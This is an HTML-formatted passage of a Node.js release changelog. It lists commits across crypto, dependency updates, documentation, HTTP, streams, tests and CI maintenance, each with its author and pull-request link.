<li>[<a href="https://github.com/nodejs/node/commit/0908d76ef6"><code>0908d76ef6</code></a>] - <strong>crypto</strong>: reject small-order EdDSA points during verify (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64026" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64026/hovercard">#64026</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f7e5863c2"><code>7f7e5863c2</code></a>] - <strong>deps</strong>: update undici to 8.7.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64282" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64282/hovercard">#64282</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/af91029801"><code>af91029801</code></a>] - <strong>deps</strong>: update nghttp3 to 1.17.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64182" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64182/hovercard">#64182</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2e500ba7b0"><code>2e500ba7b0</code></a>] - <strong>deps</strong>: update googletest to 8b53336594cc52213c6c2c7a0b29194fa896d039 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64181" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64181/hovercard">#64181</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/74e3aa24ba"><code>74e3aa24ba</code></a>] - <strong>deps</strong>: update sqlite to 3.53.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64180" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64180/hovercard">#64180</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c7e57f55a7"><code>c7e57f55a7</code></a>] - <strong>deps</strong>: c-ares: cherry-pick 8ba37af8e3fb (René) <a href="https://github.com/nodejs/node/pull/64110" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64110/hovercard">#64110</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/879fdc4daf"><code>879fdc4daf</code></a>] - <strong>deps</strong>: V8: backport da20a197a7f9 (Kevin Gibbons) <a href="https://github.com/nodejs/node/pull/64101" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64101/hovercard">#64101</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a640543a7c"><code>a640543a7c</code></a>] - <strong>deps</strong>: V8: cherry-pick 0cc9eb22c0b0 (Kevin Gibbons) <a href="https://github.com/nodejs/node/pull/64101" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64101/hovercard">#64101</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/feefd179e5"><code>feefd179e5</code></a>] - <strong>deps</strong>: V8: cherry-pick 1a391f98cc7a (Kevin Gibbons) <a href="https://github.com/nodejs/node/pull/64101" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64101/hovercard">#64101</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8ef643d4b0"><code>8ef643d4b0</code></a>] - <strong>deps</strong>: update googletest to 0b1e895ba4226c2fda5ee0178c9b5b1195a741aa (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64039" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64039/hovercard">#64039</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9e50bb0655"><code>9e50bb0655</code></a>] - <strong>dgram</strong>: skip dns.lookup() for literal IP addresses (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/64133" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64133/hovercard">#64133</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc052c095c"><code>dc052c095c</code></a>] - <strong>diagnostics_channel</strong>: return original thenable (Stephen Belanger) <a href="https://github.com/nodejs/node/pull/62407" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62407/hovercard">#62407</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a22a840293"><code>a22a840293</code></a>] - <strong>doc</strong>: clarify QUIC stream state wording (EduardF1) <a href="https://github.com/nodejs/node/pull/63660" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63660/hovercard">#63660</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8d4bec2d71"><code>8d4bec2d71</code></a>] - <strong>doc</strong>: update Http2SecureServer.on("timeout") default value (YuSheng Chen) <a href="https://github.com/nodejs/node/pull/64187" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64187/hovercard">#64187</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/da88f70afa"><code>da88f70afa</code></a>] - <strong>doc</strong>: add note on visibility of CI failures to new contributor guide (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/64256" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64256/hovercard">#64256</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/20ce359ccb"><code>20ce359ccb</code></a>] - <strong>doc</strong>: clarify HTTP/1.1 response ordering (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64213" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64213/hovercard">#64213</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/05eae2835c"><code>05eae2835c</code></a>] - <strong>doc</strong>: recommend node-stress-single-test for flaky tests (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64223" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64223/hovercard">#64223</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3966eb67e7"><code>3966eb67e7</code></a>] - <strong>doc</strong>: fix typo in examples (Vas Sudanagunta) <a href="https://github.com/nodejs/node/pull/64184" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64184/hovercard">#64184</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/12a2b9daa3"><code>12a2b9daa3</code></a>] - <strong>doc</strong>: fix typo in node-config-schema.json (Hamid Reza Ghavami) <a href="https://github.com/nodejs/node/pull/64188" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64188/hovercard">#64188</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0854482671"><code>0854482671</code></a>] - <strong>doc</strong>: clarify defense-in-depth issues (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64215" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64215/hovercard">#64215</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef4915fc3a"><code>ef4915fc3a</code></a>] - <strong>doc</strong>: fix Fast FFI argument count in ffi.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63960" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63960/hovercard">#63960</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bb2eed863c"><code>bb2eed863c</code></a>] - <strong>doc</strong>: add sxa GPG key (ed25519) (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/64193" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64193/hovercard">#64193</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b7bf6e3a06"><code>b7bf6e3a06</code></a>] - <strong>doc</strong>: add guide and answers to FAQs for first-time contributors (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63685" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63685/hovercard">#63685</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ff537ba858"><code>ff537ba858</code></a>] - <strong>doc</strong>: update <code>Http2Server.close</code> &amp; <code>Http2SecureServer.close</code> (YuSheng Chen) <a href="https://github.com/nodejs/node/pull/63298" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63298/hovercard">#63298</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f3db304588"><code>f3db304588</code></a>] - <strong>doc</strong>: update list of people in <code>SECURITY.md</code> (Richard Lau) <a href="https://github.com/nodejs/node/pull/64152" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64152/hovercard">#64152</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2a126647b0"><code>2a126647b0</code></a>] - <strong>doc</strong>: clarify vfs is not a sandbox (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64143" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64143/hovercard">#64143</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/85fc79dd9b"><code>85fc79dd9b</code></a>] - <strong>doc</strong>: fix broken links and duplicate stability label (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64130" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64130/hovercard">#64130</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/189e830eb3"><code>189e830eb3</code></a>] - <strong>doc</strong>: add missing option to man page (Richard Lau) <a href="https://github.com/nodejs/node/pull/64156" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64156/hovercard">#64156</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7a16ccccd0"><code>7a16ccccd0</code></a>] - <strong>doc</strong>: announce upcoming end of tier 2 support for macOS x64 (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63931" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63931/hovercard">#63931</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d5f826045f"><code>d5f826045f</code></a>] - <strong>doc</strong>: update toolchain for official AIX releases (Richard Lau) <a href="https://github.com/nodejs/node/pull/64068" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64068/hovercard">#64068</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/60abc4400f"><code>60abc4400f</code></a>] - <strong>doc</strong>: fix callback example import in fs docs (Kamal Rawal) <a href="https://github.com/nodejs/node/pull/63912" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63912/hovercard">#63912</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e470c74a6c"><code>e470c74a6c</code></a>] - <strong>doc</strong>: fix keepAliveTimeout default in http.createServer options (Jahanzaib iqbal) <a href="https://github.com/nodejs/node/pull/63974" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63974/hovercard">#63974</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/851b460583"><code>851b460583</code></a>] - <strong>esm</strong>: improve ERR_REQUIRE_ASYNC_MODULE (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64260" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64260/hovercard">#64260</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0cd443df39"><code>0cd443df39</code></a>] - <strong>esm</strong>: print required top-level await locations without evaluating (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64154" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64154/hovercard">#64154</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b373202efc"><code>b373202efc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>esm</strong>: add <code>--experimental-import-text</code> flag (Efe) <a href="https://github.com/nodejs/node/pull/62300" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62300/hovercard">#62300</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eacfbd0ca5"><code>eacfbd0ca5</code></a>] - <strong>http</strong>: add CONNECT method handling for default Host header with proxy (Archkon) <a href="https://github.com/nodejs/node/pull/64114" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64114/hovercard">#64114</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aeb539a383"><code>aeb539a383</code></a>] - <strong>http</strong>: fix drain event with cork/uncork (David Evans) <a href="https://github.com/nodejs/node/pull/64038" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64038/hovercard">#64038</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8e8874b216"><code>8e8874b216</code></a>] - <strong>http</strong>: document and validate options.path when it's in absolute-form (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64108" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64108/hovercard">#64108</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eb2e96bc28"><code>eb2e96bc28</code></a>] - <strong>inspector</strong>: fix crash when writing to closed inspector socket (ympark2011) <a href="https://github.com/nodejs/node/pull/64209" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64209/hovercard">#64209</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/243b0e4e57"><code>243b0e4e57</code></a>] - <strong>lib</strong>: reject string "0" in validatePort when allowZero is false (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/64174" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64174/hovercard">#64174</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/34a537c0ed"><code>34a537c0ed</code></a>] - <strong>lib</strong>: use <code>__proto__: null</code> when calling <code>ObjectDefineProperty</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64239" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64239/hovercard">#64239</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1f72393f19"><code>1f72393f19</code></a>] - <strong>lib</strong>: lazily initialize kEvents and kHandlers maps (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/63702" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63702/hovercard">#63702</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/92a3dc3191"><code>92a3dc3191</code></a>] - <strong>lib,permission</strong>: fix addon permission drop (Martin Wagner) <a href="https://github.com/nodejs/node/pull/64007" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64007/hovercard">#64007</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/87b8f2a296"><code>87b8f2a296</code></a>] - <strong>meta</strong>: fix linter warning in <code>stale.yml</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64281" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64281/hovercard">#64281</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/829c4a5913"><code>829c4a5913</code></a>] - <strong>meta</strong>: bump actions/cache from 5.0.5 to 6.1.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64248" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64248/hovercard">#64248</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0808dcd31c"><code>0808dcd31c</code></a>] - <strong>meta</strong>: bump github/codeql-action/autobuild from 4.36.1 to 4.36.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64247" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64247/hovercard">#64247</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/64aa17058f"><code>64aa17058f</code></a>] - <strong>meta</strong>: bump github/codeql-action/analyze from 4.36.1 to 4.36.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64246" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64246/hovercard">#64246</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/873d1e0412"><code>873d1e0412</code></a>] - <strong>meta</strong>: bump actions/checkout from 6.0.2 to 7.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64245" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64245/hovercard">#64245</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fe460ccf0b"><code>fe460ccf0b</code></a>] - <strong>meta</strong>: bump codecov/codecov-action from 6.0.1 to 7.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64244" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64244/hovercard">#64244</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/845c63ed50"><code>845c63ed50</code></a>] - <strong>meta</strong>: bump rtCamp/action-slack-notify from 2.3.3 to 2.4.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64243" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64243/hovercard">#64243</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2cad2d6de5"><code>2cad2d6de5</code></a>] - <strong>meta</strong>: bump github/codeql-action/init from 4.36.1 to 4.36.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64242" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64242/hovercard">#64242</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0ddde950c7"><code>0ddde950c7</code></a>] - <strong>meta</strong>: bump actions/setup-python from 6.2.0 to 6.3.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64241" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64241/hovercard">#64241</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c0a8760d2f"><code>c0a8760d2f</code></a>] - <strong>meta</strong>: bump github/codeql-action/upload-sarif from 4.36.1 to 4.36.2 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64240" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64240/hovercard">#64240</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f49704b9d0"><code>f49704b9d0</code></a>] - <strong>meta</strong>: clarify V8 flags are outside threat model (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64224" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64224/hovercard">#64224</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6b8dc58e6e"><code>6b8dc58e6e</code></a>] - <strong>meta</strong>: move one or more collaborators to emeritus (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64057" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64057/hovercard">#64057</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fe5260cca7"><code>fe5260cca7</code></a>] - <strong>meta</strong>: update status of past strategic initiatives (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63480" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63480/hovercard">#63480</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7b01040008"><code>7b01040008</code></a>] - <strong>meta</strong>: speed up stale bot (Aviv Keller) <a href="https://github.com/nodejs/node/pull/64075" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64075/hovercard">#64075</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/874c46c24f"><code>874c46c24f</code></a>] - <strong>meta</strong>: update sccache version in test-linux-quic (René) <a href="https://github.com/nodejs/node/pull/64043" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64043/hovercard">#64043</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/48c5c86363"><code>48c5c86363</code></a>] - <strong>module</strong>: enable import support for addons by default (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/64221" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64221/hovercard">#64221</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/39e0c14455"><code>39e0c14455</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>perf_hooks</strong>: sample delay per event loop iteration (Pablo Erhard) <a href="https://github.com/nodejs/node/pull/62935" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62935/hovercard">#62935</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f90f1bd032"><code>f90f1bd032</code></a>] - <strong>perf_hooks</strong>: add NODE_PERFORMANCE_GC_MINOR_MARK_SWEEP constant (Attila Szegedi) <a href="https://github.com/nodejs/node/pull/63877" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63877/hovercard">#63877</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bdf32628c7"><code>bdf32628c7</code></a>] - <strong>process</strong>: fix finalization cleanup ref tracking (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64087" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64087/hovercard">#64087</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a65b7fff4"><code>9a65b7fff4</code></a>] - <strong>quic</strong>: drop version negotiation packets with oversized CIDs (Mohamed Sayed) <a href="https://github.com/nodejs/node/pull/64228" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64228/hovercard">#64228</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2699fe4706"><code>2699fe4706</code></a>] - <strong>quic</strong>: fixes undefined handle in QuicStream kInspect (Marten Richter) <a href="https://github.com/nodejs/node/pull/64170" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64170/hovercard">#64170</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/00dea28bb3"><code>00dea28bb3</code></a>] - <strong>repl</strong>: lazy-load acorn and defer vm context creation (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63879" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63879/hovercard">#63879</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ce659a1cf9"><code>ce659a1cf9</code></a>] - <strong>src</strong>: fix escaping of single quotes in task runner (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64089" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64089/hovercard">#64089</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dbb3126e5c"><code>dbb3126e5c</code></a>] - <strong>src</strong>: abstract tracing agent for both legacy and perfetto (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/64053" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64053/hovercard">#64053</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/12edf1d68d"><code>12edf1d68d</code></a>] - <strong>src</strong>: avoid redundant call to <code>std::get_if&lt;&gt;()</code> (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/64094" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64094/hovercard">#64094</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eda91b6d01"><code>eda91b6d01</code></a>] - <strong>src</strong>: avoid copying source string in TextEncoder.encode (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63897" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63897/hovercard">#63897</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/efbbb9a03c"><code>efbbb9a03c</code></a>] - <strong>stream</strong>: preserve half-open duplexes in async iteration (Efe) <a href="https://github.com/nodejs/node/pull/64275" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64275/hovercard">#64275</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/999a83c937"><code>999a83c937</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: expose ReadableStreamTee (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64195" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64195/hovercard">#64195</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ab5ed72903"><code>ab5ed72903</code></a>] - <strong>stream</strong>: reject iter consumers on abort (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64066" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64066/hovercard">#64066</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d3fa77c5e2"><code>d3fa77c5e2</code></a>] - <strong>stream</strong>: fix merge abort for pending sources (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64013" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64013/hovercard">#64013</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/38b99140ed"><code>38b99140ed</code></a>] - <strong>stream</strong>: refactor unnecessary optional chaining away (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64253" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64253/hovercard">#64253</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c81f894ebe"><code>c81f894ebe</code></a>] - <strong>stream</strong>: cut per-chunk overhead in WHATWG streams (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64252" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64252/hovercard">#64252</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f162234f24"><code>f162234f24</code></a>] - <strong>stream</strong>: normalize Broadcast.from() byte inputs (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64082" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64082/hovercard">#64082</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1182ad8f3b"><code>1182ad8f3b</code></a>] - <strong>stream</strong>: proxy first own method in Readable.wrap() (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/64048" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64048/hovercard">#64048</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0b830b382"><code>d0b830b382</code></a>] - <strong>stream</strong>: observe abort while awaiting pipeTo source (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64015" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64015/hovercard">#64015</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f7adcd8359"><code>f7adcd8359</code></a>] - <strong>stream</strong>: respect iter consumer abort signals (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63997" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63997/hovercard">#63997</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b09e624c6f"><code>b09e624c6f</code></a>] - <strong>test</strong>: make blob desiredSize assertion robust (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64106" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64106/hovercard">#64106</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d0d8f0c774"><code>d0d8f0c774</code></a>] - <strong>test</strong>: update WPT for urlpattern to 11a459a2b1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64037" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64037/hovercard">#64037</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ff9122c20c"><code>ff9122c20c</code></a>] - <strong>test</strong>: improve lcov reporter snapshot diagnostics (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64049" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64049/hovercard">#64049</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/570952d4f3"><code>570952d4f3</code></a>] - <strong>test</strong>: keep finalization close fixture ref alive (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64085" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64085/hovercard">#64085</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1b4f213380"><code>1b4f213380</code></a>] - <strong>test</strong>: fix typo from overriden to overridden (parkhojeong) <a href="https://github.com/nodejs/node/pull/63403" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63403/hovercard">#63403</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c91090b8b"><code>4c91090b8b</code></a>] - <strong>test</strong>: fix typo from funciton to function (parkhojeong) <a href="https://github.com/nodejs/node/pull/63403" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63403/hovercard">#63403</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bf080c7917"><code>bf080c7917</code></a>] - <strong>test</strong>: mark hr-time WPT flaky on macos15-x64 (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64054" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64054/hovercard">#64054</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/24e32098c5"><code>24e32098c5</code></a>] - <strong>test</strong>: use one-off agent in http consumed timeout test (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64052" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64052/hovercard">#64052</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3229886de2"><code>3229886de2</code></a>] - <strong>test</strong>: fix flaky test-runner coverage threshold test (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64051" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64051/hovercard">#64051</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83b91ea6ec"><code>83b91ea6ec</code></a>] - <strong>test_runner</strong>: filter execArgv fallback for child tests (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64056" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64056/hovercard">#64056</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/269b609a3d"><code>269b609a3d</code></a>] - <strong>test_runner</strong>: improve coverage failure diagnostics (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64050" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64050/hovercard">#64050</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0342744c34"><code>0342744c34</code></a>] - <strong>test_runner</strong>: add timestamp to JUnit reporter testsuites (sangwook) <a href="https://github.com/nodejs/node/pull/64029" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64029/hovercard">#64029</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/086741d121"><code>086741d121</code></a>] - <strong>timers</strong>: reuse Timeout objects in setStreamTimeout (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64254" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64254/hovercard">#64254</a></li>
